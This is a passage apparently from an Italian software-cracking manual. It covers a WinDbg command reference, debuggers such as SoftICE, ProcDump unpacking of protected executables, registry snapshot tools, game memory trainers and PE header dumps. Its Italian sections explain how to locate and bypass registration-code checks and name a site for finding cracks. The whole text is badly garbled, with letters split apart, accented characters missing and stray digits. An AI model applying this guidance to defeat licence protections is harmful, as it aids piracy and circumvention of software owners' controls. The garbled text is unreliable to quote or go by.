SA, SB, SD, SI, SS, ST, SU, SW Search Memory

Sear ches t hough memor y t o f i nd a speci f i c byt e pat t er n. I f t he pat t er n i s f ound,
Wi ndows Debugger wi l l di spl ay t he f i r st memor y addr ess i n r ange wher e i t was
f ound.

Command Fi l l
SA ANSI ( ext ended ASCI I ) char act er s
SB Byt e val ues
SD Doubl e- wor d ( f our - byt e) val ues
SI Fl oat i ng- poi nt number s ( 8- byt e)
SS Fl oat i ng- poi nt number s ( 4- byt e)
ST Fl oat i ng- poi nt number s ( 10- byt e)
SU Uni code char act er s
SW Wor d val ues
Synt ax

S{A|B|D|I|S|T|U|W} range pattern

Par amet er s

r ange

The memor y ar ea t o sear ch t hr ough. For mor e i nf or mat i on, see Range Synt ax.

pat t er n

One or mor e byt e val ues or ANSI or Uni code char act er s t o sear ch f or . Separ at e
mul t i pl e val ues wi t h spaces.

Remar ks

When ent er i ng numer i c val ues t o sear ch f or , you can use C- st yl e r adi x pr ef i xes
t o over r i de t he def aul t r adi x. Pr ef i x oct al const ant s wi t h a " 0o" ( f or exampl e
0o1776) , hexadeci mal const ant s wi t h " 0x" ( f or exampl e 0xF000) , and deci mal
const ant s wi t h " 0t " ( f or exampl e 0t 199) .
When ent er i ng Uni code val ues t o sear ch f or , you can i ncl ude space ( " " )
char act er s by encl osi ng t he char act er st r i ng i n quot at i on mar ks ( " or ' ) . I f you
encl ose t he st r i ng i n doubl e quot at i on mar ks, Wi ndows Debugger wi l l
aut omat i cal l y nul l - t er mi nat e t he st r i ng. Si ngl e quot at i on mar ks ( ' ) wi l l not add
a nul l char act er . You can ent er st andar d C escape char act er s, such as \ t , \ 007,
and \ " .

SX, SXD, SXE, SXN Set Exceptions

Cont r ol s t he behavi or of t he debugger when t r appi ng except i ons bef or e execut i ng
except i on- handl i ng code. The debugger al ways hal t s bef or e execut i on r et ur ns f r om
t he except i on handl er .

Command Act i on
SX Di spl ays t he event s t hat t he debugger wi l l hal t f or .
SXD Causes t he debugger t o i gnor e t he speci f i ed except i on and i ssue an
aut omat i c GN command.
SXE Causes t he debugger t o hal t at t he speci f i ed except i on.
SXN Causes t he debugger t o di spl ay a message bef or e t he except i on i s passed t o
t he t ar get appl i cat i on, and causes Wi ndows Debugger t o i ssue a GN command af t er
t he message i s di spl ayed.
Synt ax

SX [ [ except i on] ]
SXE except i on [ [ message] ] [ [ / Ccmdl i st 1] ] [ [ / C2cmdl i st 2] ]
SX{D| N} except i on [ [ message] ] [ [ / C2cmdl i st 2] ]

Par amet er s

except i on

The except i on number t hat t he command act s upon, i n t he cur r ent r adi x. I f you do
not speci f y an except i on, t he SX command wi l l di spl ay i nf or mat i on on al l
except i ons.

message

Message t o di spl ay i n t he command wi ndow when t he except i on i s t r apped.

cmdl i st 1

Semi col on- separ at ed l i st of Wi ndows Debugger commands t o execut e when an
except i on i s f i r st r ai sed. The / C opt i on i s per mi t t ed onl y wi t h t he SXE command.
Encl ose i n quot es i f cmdl i st 1 i ncl udes spaces or semi col ons.

cmdl i st 2

Semi col on- separ at ed l i st of commands t o execut e af t er an except i on has not been
handl ed. Encl ose i n quot es i f cmdl i st 2 i ncl udes spaces or semi col ons.

Remar ks

The / C opt i on ( al l owed onl y wi t h SXE) t el l s t he debugger t o execut e t he
speci f i ed commands on t he f i r st chance ( bef or e t he except i on i s passed t o t he
appl i cat i on) . The / C2 opt i on t el l s t he debugger t o execut e t he speci f i ed
commands on t he second chance ( i f t he except i on i s not handl ed by t he debugger
or t he appl i cat i on) . For mor e i nf or mat i on, see t he Pl at f or mSDK document at i on on
st r uct ur ed except i on handl i ng.
When t he debugger st ops due t o an except i on, onl y t he GN ( Go- - Except i on Not
Handl ed) and GH ( Go- - Except i on Handl ed) commands can be used t o cont i nue
execut i on. The SXD and SXN commands aut omat i cal l y cal l GN.


T Trace

Execut es t he i nst r uct i on or sour ce l i ne at t he i nst r uct i on poi nt er and di spl ays
t he r esul t i ng val ues of al l r egi st er s and f l ags. Use t he P ( Pr ogr am St ep)
command t o have t he debugger execut e subr out i ne cal l s or i nt er r upt s wi t hout
r et ur ni ng cont r ol t o t he debugger .

Thi s command i s equi val ent t o cl i cki ng St ep I nt o f r om t he Debug menu, or
pr essi ng F11 or F8.

Synt ax

[ [ t hr ead] ] T [ [ count ] ]

Par amet er s

t hr ead

The t hr ead t o t r ace t hr ough. For mor e i nf or mat i on, see Pr ocess and Thr ead
Synt ax.

count

The number of i nst r uct i ons or sour ce l i nes ( dependi ng on t he Sour ce/ Assembl y
mode) t o st ep t hr ough bef or e st oppi ng.


U Unassemble

X Examine Symbols

Di spl ays t he symbol s i n al l cont ext s t hat mat ch pat t er n. I f you do not speci f y
any opt i ons, al l except publ i c symbol s ar e sear ched. I f you do not speci f y a
pat t er n, al l symbol s wi l l be di spl ayed. To i gnor e case i n t he sear ch, cl i ck
Opt i ons f r omt he Vi ew menu, cl i ck Debugger , and cl i ck I gnor e Case.

Synt ax

X[ [ opt i ons] ] [ [ { [ [ pr ocedur e] ] , [ [ modul e] ] , [ [ execut abl e] ] } ] ] [ [ pat t er n] ]

Par amet er s

opt i ons

Speci f i es t he scope of t he symbol sear ch. These opt i ons cannot be separ at ed by
spaces and must i mmedi at el y f ol l ow t he X ( f or exampl e, XEM) . Use t he f ol l owi ng
l et t er s t o speci f y scope:

Let t er Scope
C The cur r ent cl ass.
E Al l modul es i n t he execut abl e or DLL, except f or t he cur r ent modul e.
F The cur r ent f unct i on.
G Al l gl obal symbol s.
L The cur r ent code bl ock ( l exi cal scope) .
M The cur r ent modul e.
P Al l publ i c symbol s.
pr ocedur e, modul e, execut abl e

The ar ea t o sear ch. For exampl e, {f unct i on1, sr cf i l e. c, t ar get . dl l } wi l l sear ch
f unct i on1 f r om sr cf i l e. c i n t ar get . dl l . Thi s i s i dent i cal t o t he br eakpoi nt
cont ext oper at or .

pat t er n

A pat t er n t o sear ch f or . The ? and * wi l dcar ds ar e suppor t ed.

Z Unfreeze Thread

Una car at t er i st i ca i nt er essant e l egat a al l a possi bi l i t di usar e i l debugger
per l anal i si dei post mor t em.
Quando capi t a un past i cci o e i l si st ema sal t a vi ene r i cer cat o nel r egi st r o i l
val or e del l a voce :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

Set t at e l a seguent e l i nea di comando.

windbg -p %ld -e %ld

Quando un pr ogr amma sal t er ver
chi amat o i l debugger
aut omat i cament e.

PROGRAMMI CON BORLAND C

Al l a par i dei pr ogr ammi e del l e
ut i l i t i es f or ni t e con Mi cr osof t
Vi sual C++ anche con i l Bor l and
C vengono f or ni t i al cuni
sof t war e che possono esser e
ut i l i zzat i per var i scopi .
I l TURBO DEBUGGER pr esent e nel
pacchet t o per DOS, WI NDOWS 16 e
WI NDOWS 32.
Anche l a ver si one per Wi ndows 95
di spone di un i nt er f acci a a
car at t er e.
La t i pol ogi a dei br eakpoi nt s
set t abi l i abbast anza compl et a
per met t endo di ver se f unzi oni .
TD per met t e i nol t r e i l t r aci ng
del l heap.
Le chi amat e r el at i ve al l e cal l
sono compost e i n modo t al e che
sempr e possi bi l e veder e a qual e
modul o i ndi r i zzat a l a chi amat a.
Un ut i l i t y f or ni t a i nsi eme WI NSI GHT che par agonabi l e a Spy++.
WS per met t e di moni t or ar e i messaggi r el at i vi al l e Wi ndows pr esent i sul deskt op.



WINHEX 8.32


Si t r at t a di uno dei pochi che di spone di un edi t or che per met t e di vi sual i zzar e
di r et t ament e i set t or i su di sco senza dover si appoggi ar e ad un f i l e.
Chi ar ament e bi sogna pr est ar e at t enzi one a non danneggi ar e qual che set t or e del
di sco cr i t i co.



SOFTICE 3.x 4.x
SoftICE 3.24
http://www.numega.com

Vogl i o el encar e t r a gl i al t r i
Sof t I ce anche se di f at t o a
quest o debugger dedi cat o
pi avant i un i nt er o
capi t ol o.
Si cur ament e qui par l i amo del
massi mo anche se di f at t o
abbast anza pi compl i cat o
degl i al t r i debugger .
Le compl i cazi oni sono l egat e
al numer o enor me di
f unzi onal i t possedut e dal
pr ogr amma.
La NuMega di st r i bui sce t r a l o shar ewar e i l debugger anche se di f at t o
possi bi l e t r var e i n
gi r o i numer i di
ser i e.
Penso che si a
i nut i l e r i cor dar e
che sul si st ema di
r i cer ca ASTALAVI STA
( par odi a ad
Al t avi st a)
possi bi l e t r ovar e i
cr acks di quasi
t ut t i i pr ogr ammi
essi st ent i .
Sof t I ce possi ede
una par t e car i cat a
i n memor i a che
vi ene at t i vat a
medi ant e l a
pr essi one dei t ast i
CTRL D o quel l i
set t at i medi ant e apposi t e i st r uzi oni .
I nol t r e Sof t I ce possi ede un buf f er che per met t e i l back t r ace ovver o
l esecuzi one a r i t r oso del codi ce.

PROCDUMP

Pr ocDump r i esce ad esegui r e un Dump su di sco di un pr ogr amma i n esecuzi one e ad
esegui r e f unzi oni di unpack/ decr ypt su si st emi sof t war e t i po BJ FNt , ENC,
Act i vi si on Packer , Manol o, NeoLi t e, Pet i t e, Secur om, VBOX, Shr i nker 3. 2&3. 3,
WWPACK32 e mol t i al t r i .
Vbox si cur ament e uno dei pi ut i l i zzat i
per l a gest i one del l e l i mi t azi oni del
sof t war e a n gi or ni .
Mol t i si st emi di pr ot ezi one sono cr ypt at i i n
memor i a per cui sono di f f i ci l ment e
debuggabi l i con sof t war e t i po Sof t I ce ecc.
Pr ocDump possi ede di ver si si st emi per
bypassar e di ver si si st emi sof t war e e cr ear e
dei dump decodi f i cat i .
I n al cuni casi Pr ocDump r ende i nut i l e
l ut i l i zzo di debugger .
Pr ocDump possi ede di ver se opzi oni che
possi bi l e ut i l i zzar e a seconda del t i po di
sof t war e con cui si ha a che f ar e.
La f i nest r a a f i anco most r a al cuni dei
met odi di packi ng i ncl usi i n pr ocdump.
La seguent e, i nvece, una t abel l a t r ovat a su i nt er net a r i guar do di Pr ocDump
che most r a l e var i e opzi oni .



Name Method Options Section To remove after
BJFNT 1.x *unknown* Create new import. Last one.
Do not recompute obj.
ENC 0.1 Standard Do not recompute obj.
HASIUK used HASIUK Default None
by Activision /NeoLite
LOUIS Cryptor Standard Default Last section
Do not recompute obj.
Manolo Manolo Rebuild Import Table .manolo section
NeoLite x.xx HASIUK Default None
/NeoLite
PECRYPT32 none Depend on version
PELOAD Standard Do not recompute obj. .peload section
PELOCK none last one
PEPACK PEPack Rebuild Import Table PEPACK!! section
PESHiELD <0.2 PESHiELD Do not recompute obj. ANAKIN98 section
Petite Petite Default .petite section
Petite Petite 2 Create new import .petite section
U will need to fix
reloc pointer too.
Securom Standard Original CD required. Better not touch ;)
Do not recompute obj.
Shrinker 3.2 Shrinker32 Ignore Faults .load object at least
Rebuild Import Table
Shrinker 3.3 Shrinker33 Do not recompute obj. None
Rebuild Import Table
STNPE 1.xx Standard Do not recompute obj.
TimeLock 3.x Vbox Create new import WeiJunLi section
std/Dialog Ignore Faults
VBox Vbox Std Create new import WeiJunLi section
Ignore Faults
Do not recompute obj.
VBox with TRY Vbox Create new import WeiJunLi section
dialog Dialog Ignore Faults
Do not recompute obj.
WWPack32<1.10 WWPACK32 I Default .WWP32 section
WWPack32 1.10 WWPACK32 II Default .WWP32 section
WWPack32 1.11 WWPACK32 I Default .WWP32 section



REGSNAP
(c) 1998 Vitas Ramanchauskas, vi t as@sof t 4you. com



Come di cevo pr i ma spesso ut i l e anal i zzar e e compar ar e l a conf i gur azi one del
si st ema pr i ma e dopo l e i nst al l azi oni di sof t war e.
RegSnap r i esce a svol ger e del l e f unzi onal i t di quest o t i po i n quant o scat t a
del l e panor ami che al r egi st r o di wi ndows, ai f i l es syst em. i ni e wi n. i ni e al l e
di r ect or y \ wi ndows e \ wi ndows\ syst em.
Dopo aver scat t at o quest e f ot o al si st ema i n gr ado di sal var l e su di sco e
successi vament e di conf r ont ar l e cr eando un f i l e ht ml i n cui vengono r i por t at e l e
di f f er enze.
Esi st ono pr ogr ammi che per met t ono di moni t or ar e i n t empo r eal e gl i accessi al
r egi st r o.
Uno di quest i REGMON. EXE che
ol t r e ad aver e quest a
possi bi l i t pu set t ar e dei
f i l t r i per met t er e sot t o
anal i si sol o i messaggi
gener at i da al cune pr ocedur e.
Al cuni pr ogr ammi cont r ol l ano
l a pr esenza di quest o t i po di
anal i zzat or i e gener ano er r or i
nel moment o i n cui si
accor gono di esser e
osser vat i .
Per sonal ment e pr ef er i sco i
pr ogr ammi che eseguono anal i si
i n modo non di nami co.
I l pr ogr amma REGEDI T f or ni t o
con wi ndows t r oppo
r udi ment al e per esser e
ut i l i zzar o i n quant o per met t e
sol t ant o di esegui r e f unzi oni
di scr i t t ur a o di l et t ur a.
I nst al l ando un nuovo sof t war e
i mpossi bi l e saper e qual i
voci i nser i r , qual i modi f i cher e qual i cancel l er .
RegSnap, come ho gi det t o, mol t o det t agl i at o anche se dai pr ogr ammi di
pr ot ezi one bi sogna at t ender si qual che sut t er f ugi o per bypassar e quest o t i po di
ut i l i t i es.

WINHACK
WinHack v2.00
http://www.malinverni.com
grant@malinverni.com


Al cuni l avor i di quest o t i po non sono or i ent at i ad el i mi nar e l e l i mi t azi oni dei
pr ogr ammi ma i nvece i l l or o compi t o quel l o di t r ovar e del l e cheat wor ds per
acqui si r e pr opr i et par t i col ar i nei gi ochi come ad esempi o at t r aver sar e i mur i ,
di vent ar e i nvi nci bi l e ecc.
Uno dei pr obl emi f ondament al i
negl i at t acchi ai pr ogr ammi
quel l o l egat o al r eper i ment o di
st r i nghe, codi ci ecc. che
per met t ano di cr ear e l e r out i nes
di cr ack.
Un pr ogr amma adat t i ssi mo a f ar e
r i cer che i n memor i a esegui t e su
pr ogr ammi gi car i cat i e
Wi nHack.

Wi nHack al t ament e
speci al i zzat o i n r i cer che
ut i l i zzando di ver se t i pol ogi e, 6
per l a pr eci si one, t r a cui due
t i pi da 64 bi t s.
I l pr ogr amma di spone i nt er nament e anche di un Tr ai ner Cr eat or i nt er no.
Wi nHacker possi ede una l i br er i a di API che per met t e di agganci ar si a f unzi oni di
r i cer ca da pr ogr ammi nost r i est er ni .
I l si st ema di r i cer ca di Wi nHack si basa sul l o scat t o di una panor ami ca i ni zi al e
e i successi vi conf r ont i al l a r i cer ca di det er mi nat i val or i .
I n un pr ogr amma di gi ochi esi st ono val or i che i ndi cano l a pot enza del
per sonaggi o, i l suo st at o di sal ut e, l a quant i t di ci bo ed al t r i val or i .
Si car i ca i l gi oco e successi vament e Wi nHack chi edendo di scat t ar e l a pr i ma
panor ami ca.
Ad un cer t o punt o supponi amo che i l val or e di sal ut e del per sonaggi o si a passat o
dal 100 i ni zi al e al 57 at t ual e.
A quest 5o punt o si cer ca l a l ocazi one di memor i a i n cui i l val or e cambi at o da
100 a 57.
Tr ovat o quest o i ndi r i zzo si pu modi f i car e i l suo val or e come si vuol e.
Wi nHack i n gr ado di cr ear e i modul i memor y t r ai ner ut i l i zzabi l i per set t ar e i
val or i vol ut i al di f uor i di Wi nHack.
Quando si cer ca di at t accar e un sof t war e bi sogna segui r e del l e r egol e l ogi che
che ser vano a st abi l i r e qual e i l met odo mi gl i or e per i nt er veni r e.
I n pr i mi s guar di amo qual i DLL e al t r i modul i i l sof t war e car i ca al moment o del l a
sua at t i vazi one.
Per f ar e quest o esi st ono mol t i sof t war e t r a i qual i SCANBI N uno di quest i .
Una del l e cose f ondament al i quel l a di saper e qual i f i l es sono car i cat i dal
pr ogr amma ed i n par t i col ar modo l e api
expor t at e.
SCANBI N di spone di un cer t o numer o di opzi oni
sel ezi onabi l i t r ami t e voci di menu che
per met t ono l a vi sual i zzazi one di mol t i t i pi di
i nf or mazi oni .
L i ndi vi duazi one a pr i or i del l e f unzi oni
ut i l i zzat e dal o pr ogr amma i n anal i si per met t e
di ef f et t uar e una scel t a ot t i mal e per quant o
r i guar da i t ool s scel t i per esegui r e i l
t r aci ng e l e al t r e f unzi oni .
Se r i chi edendo l a vi sual i zzazi one del l e
f unzi oni i mpor t at e vedi amo che non compai ono
nel l a l i st a quel l e come Get Dl gI t emText o
Get Dl gI t emI nt dobbi amo suppor r e che l e l et t ur a
dei codi ci di at t i vazi one vi ene f at t a con al t r i si st emi , magar i pi nascost i
apposi t ament e.
L i ndi vi duazi one del punt o dove
vengono cont r ol l at i i codi ci al l or a
deve avveni r e t r ami t e al t r e
f unzi oni .
Un met odo pot r ebbe esser e quel l o
l egat o al l i dent i f i cazi one del numer o
I D del l e r i sor se.
Quest o i dent i f i cat or e pot r emmo
ot t ener l o t r ami t e l e f unzi oni
di Spy++ a pr ogr amma at t i vat o oppur e
possi amo cer car e di i dent i f i car e gl i I D
del l a Di al og o degl i ogget t i del l a
Di al og t r ami t e l a r i cer ca t r a i dat i
most r at i
da cer t i
pr ogr amm
i .
Par l ando di SCANBI N l e i nf or mazi oni
r i por t at e sono quel l e most r at e
nel l i mmagi ne, r el at i va al menu, qui a
f i anco.
Sl ezi onando I MPORTED REFERENCES possi amo
ot t ener e l a l i st a dei r i f er i ment i i mpor t at i
dal pr ogr amma.
La seguent e i mmagi ne most r a l a t i pol ogi a
del l e i nf or mazi oni i ner ent i a quest a voce.
Si t r at t a del l e f unzi oni i mpor t at e dal l e
DLL est er ne, pr opr i e del pr ogr amma e da
quel l e di si st ema come ad esempi o
USER32, KERNEL32 ecc.
I l nome del modul o da cui vengono
i mpor t at e most r at o al f i anco.
Quest e i nf or mazi oni sono quel l e
f ondament al i most r at e anche da
WDASM, Sof t I ce ecc.
Modul i l egat i ai set t aggi , t r a cui
ser i al i zzazi oni dei sof t war es,
vengono most r at i anche dal l uso di
f unzi oni l egat e appunt o al l uso del
r egi st r o come quel l e, casual ment e,
most r at e a f i anco ( RegCl oseKey ecc. )
SCANBI N most r a i n ogni caso quel l e
che l ui def i ni sce i nf or mazi oni
gener al i zzat e del pr ogr amma.
Dal nost r o punt o di vi st a non
cont i ene i nf or mazi oni che ci possano
i nt er essar e anche se al cune vol t e
pot r ebber o ser vi r ci per veder e se i l
pr ogr amma st at o r i scr i t t o.
Ci sono st at i dei casi i n cui l e
i nf or mazi oni necessar i e per l a
ser i al i zzazi one sono st at e r i scr i t t e
dent r o al pr ogr amma esegui bi l e st esso
ed al t r e vol t e i nvece i n f i l e . OCX o
. DLL che di f at t o non er ano t al i .
Un al t r a opzi one di menu most r a l e
f unzi oni espor t at e.
Quest o t i po di i nf or mazi oni sono
pr esent i sol t ant o nei modul i DLL o
si mi l i a che espor t ano l e l or o f unzi oni
ver so i l mondo est er no.
Gener al ment e quest a f i nest r a r i sul t a vuot a se i l pr ogr amma anal i zzat o un f i l e
esegui bi l e.
I nt er essan6t e i nvece l a l i st a
del l e DLL ut i l i zzat e.
Al cuni pr ogr ammi come WDASM
possi edono br eakpoi nt che bl occano
i l pr ogr amma quando quest o esce dal
modul o esegui bi l e per ent r ar e i n una
f unzi one pr esent e i n una DLL
est er na.
Saper e a pr i or i qual i DLL ut i l i zza
comunque una cosa comoda i n quant o
ci per met t e di esegui r e del l e
supposi zi oni su par amr et r i che non
sono pur amnt e t ecni ci come ad
esempi o nomi sospet t i di DLL.
La l i st a del l e r i sor se, come ho
det t o pr i ma, most r a l e r i sor se del
pr ogr amma vi sual i zzando i l nome, se
di sponi bi l e, e l i dent i f i cat or e
numer i co.
Tr a quest e r i sor se sono pr esent i
t ut t e quel l e gest i t e con i l r esour ce
edi t or del l i nguaggi o di
pr ogr ammazi one.
Se un di al og cr eat a t r ami t e quest o al l or a ver r most r at a i n quest a f i nest r a.
Chi ar ament e deve esser e gest i t a nel pr ogr amma come r i sor sa e non cr eat a con
f unzi oni di nami che che cr eano sul l i st ant e l e f i nest r e.
Le DLL possono esser e vi st e anche come un al ber o.
I l nost r o pr ogr amma pot r ebbe f ar e r i f er i ment o ad una f unzi one pr esent e i n una
DLL l a qual e pot r ebbe r i f er i r si ad al t r e f unzi oni pr esent i i n al t r e DLL, magar i
di si st ema f or ni t e i n Wi ndows.
Una par t i col ar e opzi one ci per met t e di ceder e l al ber o del l e chi amat e.
Anche quest a vi sual i zzazi one pot r ebbe ai ut ar ci a f ar ment e l ocal e, i n al t r e
par ol e a schi ar i r ci l e i dee anche per ch che cr ea i si st emi di pr ot ezi one f di
t ut t o per conf onder e l e per sone.
L opazi one EXADECI MAL DUMP non f a al t r o se non most r ar ci i l f i l e i n f or mat o
ESADECI MALE come f ar ebbe HI EW, HEXWORKSHOP, WI NHEX ecc.
Non penso che si a una del l e opzi oni pi ut i l i di SCANBI N.
Una del l e ul t i me opzi oni quel l a pi compl essa ma i n mol t i casi anche quel l a
pi ut i l e i n quant o ci r i f er i sce i nf or mazi oni sugl i i ndi r i zzi ed i n par t i col ar
modo al l header PE ecc.
La seguent e l i st a most r a sequenzi al ment e l e i nf or mazi oni most r at e gr azi e a
quest a opzi one.

Adresses tables : c:\Programmi\COMExp\comexp.exe
================================================
*** MS-DOS header (MH) ***
00000000 = 5A4D : MS-DOS signature
0000003C = 0080 : WINDOWS header offset (/MH)
00000040 = : MS-DOS stub program

*** PE File ***
PE File Header
00000080 = 00004550 : WINDOWS signature
00000084 = 014C : Machine (Intel 386)
00000086 = 0006 : NumberOfSections
00000088 = 3729EE3B : TimeDateStamp
0000008C = 0000:0000 : PointerToSymbolTable
00000090 = 00000000 : NumberOfSymbols
00000094 = 00E0 : SizeOfOptionalHeader
00000096 = 010E : Characteristics
- File is executable (no unresolved external
references)
- Line nunbers stripped from file
- Local symbols stripped from file
- 32 bit word machine
PE Optional Header
00000098 = 010B : Magic
0000009A = 3.0 : Linker Version
0000009C = 00010A00 : Size of Code
000000A0 = 00018A00 : Size of Initialized Data
000000A4 = 00000000 : Size of UnInitialized Data
000000A8 = 000116D0 : Address of Entry Point
000000AC = 00001000 : Base of Code
000000B0 = 00012000 : Base of Data
000000B4 = 00400000 : Image Base
000000B8 = 00001000 : Section Alignment
000000BC = 00000200 : File Alignment
000000C0 = 4.0 : Operating System Version
000000C4 = 0.0 : Image Version
000000C8 = 4.0 : Subsystem Version
000000CC = 00000000 : (Reserved)
000000D0 = 0002C000 : Size of Image
000000D4 = 00000400 : Size of Headers
000000D8 = 00000000 : CheckSum
000000DC = 0002 : SubSystem
000000DE = 0000 : DLL Characteristics
000000E0 = 00100000 : Size of Stack Reserve
000000E4 = 00001000 : Size of Stack Commit
000000E8 = 00100000 : Size of Heap Reserve
000000EC = 00001000 : Size of Heap Commit
000000F0 = 00000000 : Loader Flags
000000F4 = 00000010 : Number of Rva And Sizes
Image Data Directories
000000F8 = (unused) : (0)Export Directory
00000100 = 00019000 : (1)Import Directory
00000108 = 0001B000 : (2)Resource Directory
00000110 = (unused) : (3)Exception Directory
00000118 = (unused) : (4)Security Directory
00000120 = 00029000 : (5)Base Relocation Table
00000128 = (unused) : (6)Debug Directory
00000130 = (unused) : (7)Description String
00000138 = (unused) : (8)Machine Value (MIPS GP)
00000140 = (unused) : (9)TLS Directory
00000148 = (unused) : (10)Load Configuration Directory
*** Section Headers (number=6) ***
00000178 = .text : ( 1)
00000180 = 00010942 : Physical Address
00000184 = 00001000 : Virtual Address
00000188 = 00010A00 : Size of Raw Data
0000018C = 00000400 : Pointer to Raw Data
0000019C = 60000020 : Characteristics :
- alignment on 16 bytes
- contains code
000001A0 = .rdata : ( 2)
000001A8 = 00004D60 : Physical Address
000001AC = 00012000 : Virtual Address
000001B0 = 00004E00 : Size of Raw Data
000001B4 = 00010E00 : Pointer to Raw Data
000001C4 = 40000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
000001C8 = .data : ( 3)
000001D0 = 00001FF4 : Physical Address
000001D4 = 00017000 : Virtual Address
000001D8 = 00001E00 : Size of Raw Data
000001DC = 00015C00 : Pointer to Raw Data
000001EC = C0000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
000001F0 = .idata : ( 4)
000001F8 = 000014B6 : Physical Address
000001FC = 00019000 : Virtual Address
00000200 = 00001600 : Size of Raw Data
00000204 = 00017A00 : Pointer to Raw Data
00000214 = C0000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
00000218 = .rsrc : ( 5)
00000220 = 0000DC9C : Physical Address
00000224 = 0001B000 : Virtual Address
00000228 = 0000DE00 : Size of Raw Data
0000022C = 00019000 : Pointer to Raw Data
0000023C = 40000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
00000240 = .reloc : ( 6)
00000248 = 0000278E : Physical Address
0000024C = 00029000 : Virtual Address
00000250 = 00002800 : Size of Raw Data
00000254 = 00026E00 : Pointer to Raw Data
00000264 = 42000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
*** Directories/Sections Locations ***
00017A00 = .idata : Import Directory
00019000 = .rsrc : Resource Directory
00026E00 = .reloc : Base Relocation Table

Quando si t r at t a l a t eor i a del l a pr ogr ammazi one si t ende sempr e a suddi vi der e i l
t ut t o i n due par t i e pr eci sament e nel l a par t e di chi ar at i va e quel l a al gor i t mi ca.
Nel l a pr i ma f ase si pr ende i n osser vazi one i l pr obl ema e si cer ca di r i cavar ne
pi i nf or mazi oni possi bi l i gi udi cat e ut i l i od i ndi spensabi l i per i l
r aggi ungi ment o di una f i nal i t .
La seconda f ase quel l a i n cui quest i dat i vengono pr esi e mani pol at i dal l e
sequenze di i st r uzi oni .
Nel nost r o caso pot r emmo appunt o cr ear e un par al l el i smo l ogi co con quant o det t o
pr i ma.
Par t i amo dal pr esuppost o che chi scr i ve modul i dest i nat i al l a pr ot ezi one di
pr ogr ammi non cr ea codi ce che si a f aci l ment e i dent i f i cabi l e per cui i ndi vi duar e
i punt i i n cui vengono esegui t i i cont r ol l i pu esser e un compi t o ar duo.
Una buona anal i si i ni zi al e per met t e di adot t ar e l e t ecni che pi i donee.
I ni zi al ment e pr endet e i pr ogr ammi che per met t ano di esegui r e anal i si dei f i l e
esegui bi l i e cer cat e di capi r e dove si t r ovano l e r out i nes di r i chi est a codi ci .
Se non vi possi bi l e f ar l o t r ami t e l a r i cer ca di f unzi oni qual i Get Dl gI t emText
e si mi l i a cer cat e i messaggi d er r or e del t i po Codi ce er r at o e cer cat e di
i dent i f i car e dove gl i i ndi r i zzi di quest e st r i nghe vengono t r at t at e per esegui r e
l e st ampe.
Se non r i usci t e ad i dent i f i car e ni ent e del l e cose pr ecedent i at t i vat e i l
pr ogr amma e posi zi onat evi sul l a f i nest r a di r i chi est a del codi ce.
Con Spy++ r i chi edet e i l numer o d I D del l a di al og o dei var i campi d edi t
ut i l i zzat i .
Se non di sponet e di Spy++ cer cat e gl i I D con ScanBi n ecc.
Ot t enut i quest i dat i ut i l i zzat el i dent r o ai debugger .
Sof t I ce possi ede una vast a gamma di br eakpoi nt che vi per met t ono d i nt er r omper e
l esecuzi one del pr ogr amma per var i mot i vi .
Pot et e i nt er cet t ar e messaggi :

bmsg WM_INITDIALOG
bmsg WM_PAINT

I nsomma, cer cat e pr i ma di i ni zi ar e i l debuggi ng di aver e l e i dee chi ar e sul t i po
di t ecni ca da ut i l i zzar e.
Sof t I ce mol t o pot ent r e ma necessar i o saper e bene che cosa si vuol e per usar e
i n modo appr opr i at o i sui st r ument i .
WDASM pi sempl i ce ed anche meno pot ent e per cer t e cose ma pi i ndi cat o,
avendo gr an par t e dei comandi a pul sant e, quando si hanno l e i dee pi conf use.
Un buon pr ogr amma che nel caso i n cui si passi come ar goment o un f i l e esegui bi l e
r est i t ui sce un gr an numer o d i nf or mazi oni Qui ckVi ew Pl us.
La seguent e t abel l a most r a i t i pi di dat i vi sual i zzat i r el at i vi ad un pr ogr amma
esegui bi l e.
Ho t r oncat o i dat i i n quant o sar ebber o st at i t r oppi .
L i mpor t ant e r ender e l i dea sul l a t i pol ogi a del l e i nf or mazi oni r est i t ui t e.

WINDOWS EXECUTABLE
32bit for Windows 95 and Windows NT

Technical File Information:

Image File Header

Signature: 00004550
Machine: Intel 386
Number of Sections: 0008
Time Date Stamp: 2a425e19
Symbols Pointer: 00000000
Number of Symbols: 00000000
Size of Optional Header 00e0
Characteristics: File is executable (i.e. no unresolved external
references).
Line numbers stripped from file.
Local symbols stripped from file.
Low bytes of machine word are reversed.
32 bit word machine.
High bytes of machine word are reversed.


Image Optional Header

Magic: 010b
Linker Version: 2.25
Size of Code: 0008a000
Size of Initialized Data: 00022800
Size of Uninitialized Data: 00000000
Address of Entry Point: 0008ad38
Base of Code: 00001000
Base of Data: 0008b000
Image Base: 00400000
Section Alignment: 00001000
File Alignment: 00000200
Operating System Version: 1.00
Image Version: 0.00
Subsystem Version: 4.00
Reserved1: 00000000
Size of Image: 000b2000
Size of Headers: 00000400
Checksum: 00000000
Subsystem: Image runs in the Windows GUI subsystem.
DLL Characteristics: 0000
Size of Stack Reserve: 00100000
Size of Stack Commit: 00004000
Size of Heap Reserve: 00100000
Size of Heap Commit: 00001000
Loader Flags: 00000000
Size of Data Directory: 00000010
Import Directory Virtual Address: e000
Import Directory Size: 23e6
Resource Directory
Virtual Address: b000
Resource Directory Size: 6e00
Base Relocation Table
Virtual Address: 3000
Base Relocation Table Size: 79f4
TLS Directory Virtual Address: 2000
TLS Directory Size: 0018

Import Table

kernel32.dll
OrdinalFunction Name

0000 DeleteCriticalSection
0000 LeaveCriticalSection
0000 EnterCriticalSection
0000 InitializeCriticalSection
0000 VirtualFree
0000 VirtualAlloc
.....

user32.dll
Ordinal Function Name

0000 GetKeyboardType
0000 LoadStringA
0000 MessageBoxA

Section Table

Section name: CODE
Virtual Size: 00089e14
Virtual Address: 00001000
Size of raw data: 0008a000
Pointer to Raw Data: 00000400
Pointer to Relocations: 00000000
Pointer to Line Numbers: 00000000
Number of Relocations: 0000
Number of Line Numbers: 0000
Characteristics: Section contains code
Section is executable
Section is readable



Header Information

Signature: 5a4d
Last Page Size: 0050
Total Pages in File: 0002
Relocation Items: 0000
